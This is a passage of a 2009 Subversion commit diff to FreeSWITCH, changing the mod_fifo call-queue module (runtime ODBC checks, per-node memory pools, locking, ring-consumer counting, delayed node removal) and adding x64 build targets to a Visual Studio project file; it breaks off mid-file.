-		SQLFreeHandle(SQL_HANDLE_STMT, stmt);
+		switch_odbc_statement_handle_free(&stmt);
 	} else {
-#endif
 		if (!(db = switch_core_db_open_file(globals.dbname))) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB %s\n", globals.dbname);
 			status = SWITCH_STATUS_FALSE;
@@ -301,12 +300,8 @@
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error [%s]\n[%s]\n", sql, err_str);
 			free(err_str);
 		}
-
 		switch_core_db_close(db);
-
-#ifdef SWITCH_HAVE_ODBC
 	}
-#endif
 
   end:
 	if (mutex) {
@@ -326,11 +321,9 @@
 		switch_mutex_lock(mutex);
 	}
 
-#ifdef SWITCH_HAVE_ODBC
-	if (globals.odbc_dsn) {
+	if (switch_odbc_available() && globals.odbc_dsn) {
 		switch_odbc_handle_callback_exec(globals.master_odbc, sql, callback, pdata);
 	} else {
-#endif
 		if (!(db = switch_core_db_open_file(globals.dbname))) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error Opening DB %s\n", globals.dbname);
 			goto end;
@@ -346,9 +339,7 @@
 		if (db) {
 			switch_core_db_close(db);
 		}
-#ifdef SWITCH_HAVE_ODBC
 	}
-#endif
 
   end:
 	if (mutex) {
@@ -362,14 +353,17 @@
 {
 	fifo_node_t *node;
 	int x = 0;
+	switch_memory_pool_t *pool;
 
 	if (!globals.running) {
 		return NULL;
 	}
 
-	node = switch_core_alloc(globals.pool, sizeof(*node));
-	node->pool = globals.pool;
+	switch_core_new_memory_pool(&pool);
 
+	node = switch_core_alloc(pool, sizeof(*node));
+	node->pool = pool;
+
 	node->name = switch_core_strdup(node->pool, name);
 	for (x = 0; x < MAX_PRI; x++) {
 		switch_queue_create(&node->fifo_list[x], SWITCH_CORE_QUEUE_LEN, node->pool);
@@ -380,7 +374,9 @@
 	switch_thread_rwlock_create(&node->rwlock, node->pool);
 	switch_mutex_init(&node->mutex, SWITCH_MUTEX_NESTED, node->pool);
 	node->importance = importance;
+	switch_mutex_lock(globals.mutex);
 	switch_core_hash_insert(globals.fifo_hash, name, node);
+	switch_mutex_unlock(globals.mutex);
 	return node;
 }
 
@@ -418,7 +414,7 @@
 	if (state == CS_HANGUP || state == CS_ROUTING) {
 		if ((uuid = switch_channel_get_variable(channel, "fifo_outbound_uuid"))) {
 			switch_snprintf(sql, sizeof(sql), "update fifo_outbound set use_count=use_count-1, outbound_call_count=outbound_call_count+1, next_avail=%ld + lag where uuid='%s'", 
-							(long)switch_timestamp(NULL), uuid);
+							(long)switch_epoch_time_now(NULL), uuid);
 							
 			fifo_execute_sql(sql, globals.sql_mutex);
 		}
@@ -445,23 +441,42 @@
 	switch_caller_extension_t *extension = NULL;
 	char *app_name, *arg = NULL;
 	char sql[256] = "";
+	const char *member_wait = NULL;
+	fifo_node_t *node = NULL;
 
+	switch_mutex_lock(globals.mutex);
+	node = switch_core_hash_find(globals.fifo_hash, h->node_name);
+	switch_mutex_unlock(globals.mutex);
+	
+	if (node) {
+		switch_mutex_lock(node->mutex);
+		node->ring_consumer_count++;
+		switch_mutex_unlock(node->mutex);
+	}
+
 	switch_snprintf(sql, sizeof(sql), "update fifo_outbound set use_count=use_count+1 where uuid='%s'", h->uuid);
 	fifo_execute_sql(sql, globals.sql_mutex);
 	
 	if (switch_ivr_originate(NULL, &session, &cause, h->originate_string, h->timeout, NULL, NULL, NULL, NULL, NULL, SOF_NONE) != SWITCH_STATUS_SUCCESS) {
 		switch_snprintf(sql, sizeof(sql), "update fifo_outbound set use_count=use_count-1, outbound_fail_count=outbound_fail_count+1, next_avail=%ld + lag where uuid='%s'", 
-						(long)switch_timestamp(NULL), h->uuid);
+						(long)switch_epoch_time_now(NULL), h->uuid);
 		fifo_execute_sql(sql, globals.sql_mutex);
 		goto end;
 	}
 	
 
 	channel = switch_core_session_get_channel(session);
+
+	if ((member_wait = switch_channel_get_variable(channel, "fifo_member_wait")) || (member_wait = switch_channel_get_variable(channel, "member_wait"))) {
+		if (strcasecmp(member_wait, "wait") && strcasecmp(member_wait, "nowait")) {
+			member_wait = NULL;
+		}
+	}
+
 	switch_channel_set_variable(channel, "fifo_outbound_uuid", h->uuid);
 	switch_core_event_hook_add_state_change(session, hanguphook);
 	app_name = "fifo";
-	arg = switch_core_session_sprintf(session, "%s out wait", h->node_name);
+	arg = switch_core_session_sprintf(session, "%s out %s", h->node_name, member_wait ? member_wait : "wait");
 	extension = switch_caller_extension_new(session, app_name, arg);
 	switch_caller_extension_add_application(session, extension, app_name, arg);
 	switch_channel_set_caller_extension(channel, extension);
@@ -470,6 +485,11 @@
 
   end:
 
+	if (node) {
+		switch_mutex_lock(node->mutex);
+		if (node->ring_consumer_count-- < 0) node->ring_consumer_count = 0;
+		switch_mutex_unlock(node->mutex);
+	}
 	switch_core_destroy_memory_pool(&h->pool);
 
 	return NULL;
@@ -511,8 +531,9 @@
 
 	sql = switch_mprintf("select uuid, fifo_name, originate_string, simo_count, use_count, timeout, lag, "
 						 "next_avail, expires, static, outbound_call_count, outbound_fail_count, hostname "
-						 "from fifo_outbound where (use_count < simo_count) and (next_avail = 0 or next_avail <= %ld) order by outbound_call_count", 
-						 (long) switch_timestamp(NULL));
+						 "from fifo_outbound where (fifo_name = '%q') and (use_count < simo_count) and (next_avail = 0 or next_avail <= %ld) "
+						 "order by next_avail", node->name, (long) switch_epoch_time_now(NULL));
+
 	switch_assert(sql);
 	fifo_execute_sql_callback(globals.sql_mutex, sql, place_call_callback, &need);
 	free(sql);
@@ -540,9 +561,9 @@
 				idle_consumers = node_idle_consumers(node);
 
 				//switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, 
-				//"%s waiting %d consumer_total %d idle_consumers %d\n", node->name, ppl_waiting, consumer_total, idle_consumers);
+				//"%s waiting %d consumer_total %d idle_consumers %d ring_consumers\n", node->name, ppl_waiting, consumer_total, idle_consumers, node->ring_consumer_count);
 		
-				if (ppl_waiting && (!consumer_total || !idle_consumers)) {
+				if ((ppl_waiting - node->ring_consumer_count > 0)&& (!consumer_total || !idle_consumers)) {
 					find_consumers(node);
 				}
 				switch_mutex_unlock(node->mutex);
@@ -586,6 +607,19 @@
 	return 0;
 }
 
+static void check_cancel(fifo_node_t *node) 
+{
+	int ppl_waiting = node_consumer_wait_count(node);
+		
+	if (node->ring_consumer_count > 0 && ppl_waiting < 1) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Outbound call count (%d) exceeds required value for queue %s (%d), "
+						  "Ending extraneous calls\n", node->ring_consumer_count, node->name, ppl_waiting);
+						  
+						  
+		switch_core_session_hupall_matching_var("fifo_hangup_check", node->name, SWITCH_CAUSE_ORIGINATOR_CANCEL);
+	}
+}
+
 static void send_presence(fifo_node_t *node)
 {
 	switch_event_t *event;
@@ -612,7 +646,7 @@
 		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "channel-state", wait_count > 0 ? "CS_ROUTING" : "CS_HANGUP");
 		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "unique-id", node->name);
 		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "answer-state", wait_count > 0 ? "early" : "terminated");
-		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "call-direction", "inbound");
+		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "presence-call-direction", "inbound");
 		switch_event_fire(&event);
 	}
 }
@@ -668,7 +702,7 @@
 	switch_event_t *event = NULL;
 	char date[80] = "";
 	switch_time_exp_t tm;
-	switch_time_t ts = switch_timestamp_now();
+	switch_time_t ts = switch_micro_time_now();
 	switch_size_t retsize;
 	char *list_string;
 	int nlist_count;
@@ -687,6 +721,8 @@
 		return;
 	}
 
+	switch_channel_set_variable(channel, "fifo_hangup_check", NULL);
+
 	mydata = switch_core_session_strdup(session, data);
 	switch_assert(mydata);
 
@@ -731,11 +767,17 @@
 			}
 		}
 
+		
 		if (!(node = switch_core_hash_find(globals.fifo_hash, nlist[i]))) {
 			node = create_node(nlist[i], importance);
 		}
 		node_list[node_count++] = node;
 	}
+
+	if(switch_true(switch_channel_get_variable(channel, "fifo_destroy_after_use"))) {
+		node->ready = FIFO_DELAY_DESTROY;
+	}
+
 	switch_mutex_unlock(globals.mutex);
 
 	moh = switch_channel_get_variable(channel, "fifo_music");
@@ -767,6 +809,8 @@
 	check_string(moh);
 	switch_assert(node);
 
+	switch_core_media_bug_pause(session);
+
 	if (!consumer) {
 		switch_core_session_t *other_session;
 		switch_channel_t *other_channel;
@@ -778,24 +822,29 @@
 		fifo_chime_data_t cd = { {0} };
 		const char *chime_list = switch_channel_get_variable(channel, "fifo_chime_list");
 		const char *chime_freq = switch_channel_get_variable(channel, "fifo_chime_freq");
-		const char *orbit_var = switch_channel_get_variable(channel, "fifo_orbit_exten");
+		const char *orbit_exten = switch_channel_get_variable(channel, "fifo_orbit_exten");
+		const char *orbit_dialplan = switch_channel_get_variable(channel, "fifo_orbit_dialplan");
+		const char *orbit_context = switch_channel_get_variable(channel, "fifo_orbit_context");
+
 		const char *orbit_ann = switch_channel_get_variable(channel, "fifo_orbit_announce");
 		const char *caller_exit_key = switch_channel_get_variable(channel, "fifo_caller_exit_key");
 		int freq = 30;
 		int ftmp = 0;
 		int to = 60;
 
-		if (orbit_var) {
+		if (orbit_exten) {
 			char *ot;
-			if ((cd.orbit_exten = switch_core_session_strdup(session, orbit_var))) {
+			if ((cd.orbit_exten = switch_core_session_strdup(session, orbit_exten))) {
 				if ((ot = strchr(cd.orbit_exten, ':'))) {
 					*ot++ = '\0';
 					if ((to = atoi(ot)) < 0) {
 						to = 60;
 					}
 				}
-				cd.orbit_timeout = switch_timestamp(NULL) + to;
+				cd.orbit_timeout = switch_epoch_time_now(NULL) + to;
 			}
+			cd.orbit_dialplan = switch_core_session_strdup(session, orbit_dialplan);
+			cd.orbit_context = switch_core_session_strdup(session, orbit_context);
 		}
 
 		if (chime_freq) {
@@ -821,7 +870,7 @@
 		}
 
 		if (!node_consumer_wait_count(node)) {
-			node->start_waiting = switch_timestamp_now();
+			node->start_waiting = switch_micro_time_now();
 		}
 
 		if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
@@ -841,7 +890,7 @@
 
 		switch_mutex_unlock(node->mutex);
 
-		ts = switch_timestamp_now();
+		ts = switch_micro_time_now();
 		switch_time_exp_lt(&tm, ts);
 		switch_strftime_nocheck(date, &retsize, sizeof(date), "%Y-%m-%d %T", &tm);
 		switch_channel_set_variable(channel, "fifo_status", "WAITING");
@@ -854,7 +903,7 @@
 			char *list_dup = switch_core_session_strdup(session, chime_list);
 			cd.total = switch_separate_string(list_dup, ',', cd.list, (sizeof(cd.list) / sizeof(cd.list[0])));
 			cd.freq = freq;
-			cd.next = switch_timestamp(NULL) + cd.freq;
+			cd.next = switch_epoch_time_now(NULL) + cd.freq;
 		}
 
 		send_presence(node);
@@ -926,9 +975,9 @@
 
 		if (!aborted && switch_channel_ready(channel)) {
 			switch_channel_set_state(channel, CS_HIBERNATE);
-			return;
+			goto done;
 		} else {
-			ts = switch_timestamp_now();
+			ts = switch_micro_time_now();
 			switch_time_exp_lt(&tm, ts);
 			switch_strftime_nocheck(date, &retsize, sizeof(date), "%Y-%m-%d %T", &tm);
 			switch_channel_set_variable(channel, "fifo_status", cd.do_orbit ? "TIMEOUT" : "ABORTED");
@@ -940,29 +989,33 @@
 				switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "FIFO-Action", cd.do_orbit ? "timeout" : "abort");
 				switch_event_fire(&event);
 			}
+
+			switch_mutex_lock(globals.mutex);
 			switch_mutex_lock(node->mutex);
 			node_remove_uuid(node, uuid);
 			node->caller_count--;
 			switch_core_hash_delete(node->caller_hash, uuid);
 			switch_mutex_unlock(node->mutex);
 			send_presence(node);
+			check_cancel(node);
+			switch_mutex_unlock(globals.mutex);
 
 		}
 
-		if (cd.do_orbit && cd.orbit_exten) {
+		if ((switch_true(switch_channel_get_variable(channel, "fifo_caller_exit_to_orbit")) || cd.do_orbit) && cd.orbit_exten) {
 			if (orbit_ann) {
 				switch_ivr_play_file(session, NULL, orbit_ann, NULL);
 			}
-			switch_ivr_session_transfer(session, cd.orbit_exten, NULL, NULL);
+			switch_ivr_session_transfer(session, cd.orbit_exten, cd.orbit_dialplan, cd.orbit_context);
 		}
 
-		return;
+		goto done;
+
 	} else {					/* consumer */
 		void *pop = NULL;
 		switch_frame_t *read_frame;
 		switch_status_t status;
 		char *uuid;
-		int done = 0;
 		switch_core_session_t *other_session;
 		switch_input_args_t args = { 0 };
 		const char *pop_order = NULL;
@@ -987,7 +1040,7 @@
 				strat = STRAT_WAITING_LONGER;
 			} else {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid strategy\n");
-				return;
+				goto done;
 			}
 		}
 
@@ -996,7 +1049,7 @@
 				do_wait = 0;
 			} else if (strcasecmp(argv[2], "wait")) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "USAGE %s\n", FIFO_USAGE);
-				return;
+				goto done;
 			}
 		}
 
@@ -1024,7 +1077,7 @@
 			switch_event_fire(&event);
 		}
 
-		ts = switch_timestamp_now();
+		ts = switch_micro_time_now();
 		switch_time_exp_lt(&tm, ts);
 		switch_strftime_nocheck(date, &retsize, sizeof(date), "%Y-%m-%d %T", &tm);
 		switch_channel_set_variable(channel, "fifo_status", "WAITING");
@@ -1192,8 +1245,9 @@
 					switch_core_hash_delete(node->caller_hash, uuid);
 					switch_mutex_unlock(node->mutex);
 					send_presence(node);
-					
+					check_cancel(node);
 
+
 					if (app) {
 						extension = switch_caller_extension_new(other_session, app, arg);
 						switch_caller_extension_add_application(other_session, extension, app, arg);
@@ -1217,7 +1271,7 @@
 				switch_assert(cloned_profile->next == NULL);
 				switch_channel_set_originatee_caller_profile(channel, cloned_profile);
 
-				ts = switch_timestamp_now();
+				ts = switch_micro_time_now();
 				switch_time_exp_lt(&tm, ts);
 				switch_strftime_nocheck(date, &retsize, sizeof(date), "%Y-%m-%d %T", &tm);
 				switch_channel_set_variable(channel, "fifo_status", "TALKING");
@@ -1235,8 +1289,26 @@
 					switch_ivr_record_session(session, expanded, 0, NULL);
 				}
 
+				switch_core_media_bug_resume(session);
+				switch_core_media_bug_resume(other_session);
+				switch_process_import(session, other_channel, "fifo_caller_consumer_import");
+				switch_process_import(other_session, channel, "fifo_consumer_caller_import");
+				if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
+					switch_channel_event_set_data(channel, event);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "FIFO-Name", argv[0]);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "FIFO-Action", "bridge-consumer");
+					switch_event_fire(&event);
+				}
+				if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
+					switch_channel_event_set_data(other_channel, event);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "FIFO-Name", argv[0]);
+					switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "FIFO-Action", "bridge-caller");
+					switch_event_fire(&event);
+				}
 				switch_ivr_multi_threaded_bridge(session, other_session, on_dtmf, other_session, session);
-
+				switch_core_media_bug_pause(session);
+				switch_core_media_bug_pause(other_session);
+				
 				if (record_template) {
 					switch_ivr_stop_record_session(session, expanded);
 					if (expanded != record_template) {
@@ -1244,7 +1316,7 @@
 					}
 				}
 
-				ts = switch_timestamp_now();
+				ts = switch_micro_time_now();
 				switch_time_exp_lt(&tm, ts);
 				switch_strftime_nocheck(date, &retsize, sizeof(date), "%Y-%m-%d %T", &tm);
 				switch_channel_set_variable(channel, "fifo_status", "WAITING");
@@ -1258,10 +1330,12 @@
 				switch_core_hash_delete(node->caller_hash, uuid);
 				switch_mutex_unlock(node->mutex);
 				send_presence(node);
+				check_cancel(node);
 				switch_core_session_rwunlock(other_session);
+				switch_safe_free(uuid);
 
-				if (!do_wait) {
-					done = 1;
+				if (!do_wait || !switch_channel_ready(channel)) {
+					break;
 				}
 
 				fifo_consumer_wrapup_sound = switch_channel_get_variable(channel, "fifo_consumer_wrapup_sound");
@@ -1293,15 +1367,15 @@
 				}
 				
 				if (fifo_consumer_wrapup_time) {
-					wrapup_time_started = switch_timestamp_now();
+					wrapup_time_started = switch_micro_time_now();
 				}
 
 				if (!switch_strlen_zero(fifo_consumer_wrapup_key) && strcmp(buf, fifo_consumer_wrapup_key)) {
 					while(switch_channel_ready(channel)) {
 						char terminator = 0;
-
+						
 						if (fifo_consumer_wrapup_time) {
-							wrapup_time_elapsed = (switch_timestamp_now() - wrapup_time_started) / 1000;
+							wrapup_time_elapsed = (switch_micro_time_now() - wrapup_time_started) / 1000;
 							if (wrapup_time_elapsed > fifo_consumer_wrapup_time) {
 								break;
 							} else {
@@ -1317,7 +1391,7 @@
 					}
 				} else if (fifo_consumer_wrapup_time && (switch_strlen_zero(fifo_consumer_wrapup_key) || !strcmp(buf, fifo_consumer_wrapup_key))) {
 					while(switch_channel_ready(channel)) {
-						wrapup_time_elapsed = (switch_timestamp_now() - wrapup_time_started) / 1000;
+						wrapup_time_elapsed = (switch_micro_time_now() - wrapup_time_started) / 1000;
 						if (wrapup_time_elapsed > fifo_consumer_wrapup_time) {
 							break;
 						}
@@ -1326,13 +1400,7 @@
 				}
 				switch_channel_set_variable(channel, "fifo_status", "WAITING");
 			}
-
-			switch_safe_free(uuid);
-
-			if (done) {
-				break;
-			}
-
+			
 			if (do_wait && switch_channel_ready(channel)) {
 				if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
 					switch_channel_event_set_data(channel, event);
@@ -1342,7 +1410,7 @@
 				}
 			}
 		}
-
+		
 		if (switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, FIFO_EVENT) == SWITCH_STATUS_SUCCESS) {
 			switch_channel_event_set_data(channel, event);
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "FIFO-Name", argv[0]);
@@ -1362,6 +1430,25 @@
 			}
 		}
 	}
+
+ done:
+
+	switch_mutex_lock(globals.mutex);
+	if (node && node->ready == FIFO_DELAY_DESTROY && node->consumer_count == 0 && node->caller_count == 0) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "%s removed. (delayed)\n", node->name);
+		switch_core_hash_delete(globals.fifo_hash, node->name);
+		switch_core_hash_destroy(&node->caller_hash);
+		switch_core_hash_destroy(&node->consumer_hash);
+		switch_thread_rwlock_unlock(node->rwlock);
+		switch_core_destroy_memory_pool(&node->pool);
+	}
+	switch_mutex_unlock(globals.mutex);
+
+
+	switch_channel_clear_app_flag(channel, CF_APP_TAGGED);
+
+	switch_core_media_bug_resume(session);
+
 }
 
 struct xml_helper {
@@ -1412,7 +1499,9 @@
 static int xml_outbound(switch_xml_t xml, fifo_node_t *node, char *container, char *tag, int cc_off, int verbose)
 {
 	struct xml_helper h;
-	char *sql = "select uuid, fifo_name, originate_string, simo_count, use_count, timeout, lag, next_avail, expires, static, outbound_call_count, outbound_fail_count, hostname from fifo_outbound";
+	char *sql = switch_mprintf("select uuid, fifo_name, originate_string, simo_count, use_count, timeout, "
+							   "lag, next_avail, expires, static, outbound_call_count, outbound_fail_count, "
+							   "hostname from fifo_outbound where fifo_name = '%q'", node->name);
 
 	h.xml = xml;
 	h.node = node;
@@ -1423,6 +1512,8 @@
 
 	fifo_execute_sql_callback(globals.sql_mutex, sql, xml_callback, &h);
 	
+	switch_safe_free(sql);
+
 	return h.cc_off;
 }
 
@@ -1658,17 +1749,17 @@
 			val = (char *) switch_xml_attr_soft(param, "value");
 
 			if (!strcasecmp(var, "odbc-dsn") && !switch_strlen_zero(val)) {
-#ifdef SWITCH_HAVE_ODBC
-				globals.odbc_dsn = switch_core_strdup(globals.pool, val);
-				if ((odbc_user = strchr(globals.odbc_dsn, ':'))) {
-					*odbc_user++ = '\0';
-					if ((odbc_pass = strchr(odbc_user, ':'))) {
-						*odbc_pass++ = '\0';
+				if (switch_odbc_available()) {
+					globals.odbc_dsn = switch_core_strdup(globals.pool, val);
+					if ((odbc_user = strchr(globals.odbc_dsn, ':'))) {
+						*odbc_user++ = '\0';
+						if ((odbc_pass = strchr(odbc_user, ':'))) {
+							*odbc_pass++ = '\0';
+						}
 					}
+				} else {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "ODBC IS NOT AVAILABLE!\n");
 				}
-#else
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "ODBC IS NOT AVAILABLE!\n");
-#endif
 			}
 		}
 	}
@@ -1678,8 +1769,7 @@
 		globals.dbname = "fifo";
 	}
 
-#ifdef SWITCH_HAVE_ODBC
-	if (globals.odbc_dsn) {
+	if (switch_odbc_available() && globals.odbc_dsn) {
 		if (!(globals.master_odbc = switch_odbc_handle_new(globals.odbc_dsn, odbc_user, odbc_pass))) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Cannot Open ODBC Database!\n");
 			status = SWITCH_STATUS_FALSE;
@@ -1698,7 +1788,6 @@
 			}
 		}
 	} else {
-#endif
 		if ((db = switch_core_db_open_file(globals.dbname))) {
 			switch_core_db_test_reactive(db, "delete from fifo_outbound", NULL, (char *)outbound_sql);
 		} else {
@@ -1707,20 +1796,20 @@
 			goto done;
 		}
 		switch_core_db_close(db);
-#ifdef SWITCH_HAVE_ODBC
 	}
-#endif
 
 	if (reload) {
 		switch_hash_index_t *hi;
 		fifo_node_t *node;
 		void *val;
+		switch_mutex_lock(globals.mutex);
 		for (hi = switch_hash_first(NULL, globals.fifo_hash); hi; hi = switch_hash_next(hi)) {
 			switch_hash_this(hi, NULL, NULL, &val);
-			if ((node = (fifo_node_t *) val)) {
+			if ((node = (fifo_node_t *) val) && node->is_static) {
 				node->ready = 0;
 			}
 		}
+		switch_mutex_unlock(globals.mutex);
 	}
 
 	if (del_all) {
@@ -1771,6 +1860,7 @@
 				const char *simo = switch_xml_attr_soft(member, "simo");
 				const char *lag = switch_xml_attr_soft(member, "lag");
 				const char *timeout = switch_xml_attr_soft(member, "timeout");
+				char *name_dup, *p;
 				char digest[SWITCH_MD5_DIGEST_STRING_SIZE] = { 0 };
 				switch_md5_string(digest, (void *) member->txt, strlen(member->txt));
 
@@ -1791,21 +1881,29 @@
 					}
 				}
 				
-				
+				name_dup = strdup(node->name);
+				if ((p = strchr(name_dup, '@'))) {
+					*p = '\0';
+				}
+
 				sql = switch_mprintf("insert into fifo_outbound "
 									 "(uuid, fifo_name, originate_string, simo_count, use_count, timeout, lag, "
 									 "next_avail, expires, static, outbound_call_count, outbound_fail_count, hostname) "
-									 "values ('%q','%q','%q',%d,%d,%d,%d,0,0,1,0,0,'%q')",
-									 digest, node->name, member->txt, simo_i, 0, timeout_i, lag_i, globals.hostname
+									 "values ('%q','%q',"
+									 "'{execute_on_answer=''unset fifo_hangup_check'',fifo_hangup_check=''%q'',origination_caller_id_name=Queue,"
+									 "origination_caller_id_number=''fifo+%q''}%q',%d,%d,%d,%d,0,0,1,0,0,'%q')",
+									 
+									 digest, node->name, node->name, name_dup, member->txt, simo_i, 0, timeout_i, lag_i, globals.hostname
 									 );
 				switch_assert(sql);
 				fifo_execute_sql(sql, globals.sql_mutex);
 				free(sql);
-				
+				free(name_dup);
 				node->has_outbound = 1;
 				
 			}
 			node->ready = 1;
+			node->is_static = 1;
 			switch_mutex_unlock(node->mutex);
 			
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "%s configured\n", node->name);
@@ -1820,17 +1918,18 @@
 		switch_hash_index_t *hi;
 		void *val, *pop;
 		fifo_node_t *node;
+		switch_mutex_lock(globals.mutex);
+	top:
 		for (hi = switch_hash_first(NULL, globals.fifo_hash); hi; hi = switch_hash_next(hi)) {
 			int x = 0;
 			switch_hash_this(hi, NULL, NULL, &val);
-			if (!(node = (fifo_node_t *) val) || node->ready) {
+			if (!(node = (fifo_node_t *) val) || !node->is_static || node->ready) {
 				continue;
 			}
 
-
 			if (node_consumer_wait_count(node) || node->consumer_count || node_idle_consumers(node)) {
-				node->ready = 1;
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "%s not removed, still in use.\n", node->name);
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "%s removal delayed, still in use.\n", node->name);
+				node->ready = FIFO_DELAY_DESTROY;
 			} else {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "%s removed.\n", node->name);
 				switch_thread_rwlock_wrlock(node->rwlock);
@@ -1839,12 +1938,16 @@
 						free(pop);
 					}
 				}
-			
+				
+				switch_core_hash_delete(globals.fifo_hash, node->name);
 				switch_core_hash_destroy(&node->caller_hash);
 				switch_core_hash_destroy(&node->consumer_hash);
 				switch_thread_rwlock_unlock(node->rwlock);
+				switch_core_destroy_memory_pool(&node->pool);
+				goto top;
 			}
 		}
+		switch_mutex_unlock(globals.mutex);
 	}
 
 
@@ -1856,7 +1959,7 @@
 static void fifo_member_add(char *fifo_name, char *originate_string, int simo_count, int timeout, int lag, time_t expires)
 {
 	char digest[SWITCH_MD5_DIGEST_STRING_SIZE] = { 0 };
-	char *sql;
+	char *sql, *name_dup, *p;
 	fifo_node_t *node = NULL;
 	
 	switch_md5_string(digest, (void *) originate_string, strlen(originate_string));
@@ -1875,14 +1978,23 @@
 
 	node->has_outbound = 1;	
 
+	name_dup = strdup(fifo_name);
+	if ((p = strchr(name_dup, '@'))) {
+		*p = '\0';
+	}
+
 	sql = switch_mprintf("insert into fifo_outbound "
-						 "(uuid, fifo_name, originate_string, simo_count, use_count, timeout, lag, next_avail, expires, static, outbound_call_count, outbound_fail_count, hostname) "
-						 "values ('%q','%q','%q',%d,%d,%d,%d,%d,%ld,0,0,0,'%q')",
-						 digest, fifo_name, originate_string, simo_count, 0, timeout, lag, 0, (long)expires, globals.hostname
+						 "(uuid, fifo_name, originate_string, simo_count, use_count, timeout, "
+						 "lag, next_avail, expires, static, outbound_call_count, outbound_fail_count, hostname) "
+						 "values ('%q','%q',"
+						 "'{execute_on_answer=''unset fifo_hangup_check'',fifo_hangup_check=''%q'',origination_caller_id_name=Queue,"
+						 "origination_caller_id_number=''fifo+%q''}%q',%d,%d,%d,%d,%d,%ld,0,0,0,'%q')",
+						 digest, fifo_name, fifo_name, name_dup, originate_string, simo_count, 0, timeout, lag, 0, (long)expires, globals.hostname
 						 );
 	switch_assert(sql);
 	fifo_execute_sql(sql, globals.sql_mutex);
 	free(sql);
+	free(name_dup);
 	
 }
 
@@ -1912,6 +2024,15 @@
 	int argc;
 	time_t expires = 0;
 
+	if (!globals.running) {
+		return SWITCH_STATUS_FALSE;
+	}
+
+	if (switch_strlen_zero(cmd)){
+		stream->write_function(stream, "-USAGE: %s\n", FIFO_MEMBER_API_SYNTAX);
+		return SWITCH_STATUS_SUCCESS;
+	}
+
 	mydata = strdup(cmd);
 	switch_assert(mydata);
 
@@ -1937,7 +2058,7 @@
 			lag = atoi(argv[5]);
 		}
 		if (argc > 6) {
-			expires = switch_timestamp(NULL) + atoi(argv[6]);
+			expires = switch_epoch_time_now(NULL) + atoi(argv[6]);
 		}
 		if (simo_count < 0) {
 			simo_count = 1;
@@ -2031,8 +2152,7 @@
 		stop_node_thread();
 	}
 		
-
-	for (hi = switch_hash_first(NULL, globals.fifo_hash); hi; hi = switch_hash_next(hi)) {
+	while ((hi = switch_hash_first(NULL, globals.fifo_hash))) {
 		int x = 0;
 		switch_hash_this(hi, NULL, NULL, &val);
 		node = (fifo_node_t *) val;
@@ -2044,10 +2164,13 @@
 			}
 		}
 
+		switch_core_hash_delete(globals.fifo_hash, node->name);
 		switch_core_hash_destroy(&node->caller_hash);
 		switch_core_hash_destroy(&node->consumer_hash);
 		switch_thread_rwlock_unlock(node->rwlock);
+		switch_core_destroy_memory_pool(&node->pool);
 	}
+
 	switch_core_hash_destroy(&globals.fifo_hash);
 	memset(&globals, 0, sizeof(globals));
 	switch_mutex_unlock(mutex);

Property changes: freeswitch/branches/seven/src/mod/applications/mod_fsv


Name: svn:ignore
   - .libs
mod_fsv.so
Makefile
Debug
*.pdb
*.user
Release
debug
   + .libs
mod_fsv.so
Makefile
Debug
*.pdb
*.user
Release
debug
Win32
x64

Modified: freeswitch/branches/seven/src/mod/applications/mod_fsv/mod_fsv.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/applications/mod_fsv/mod_fsv.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/applications/mod_fsv/mod_fsv.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -78,6 +81,70 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
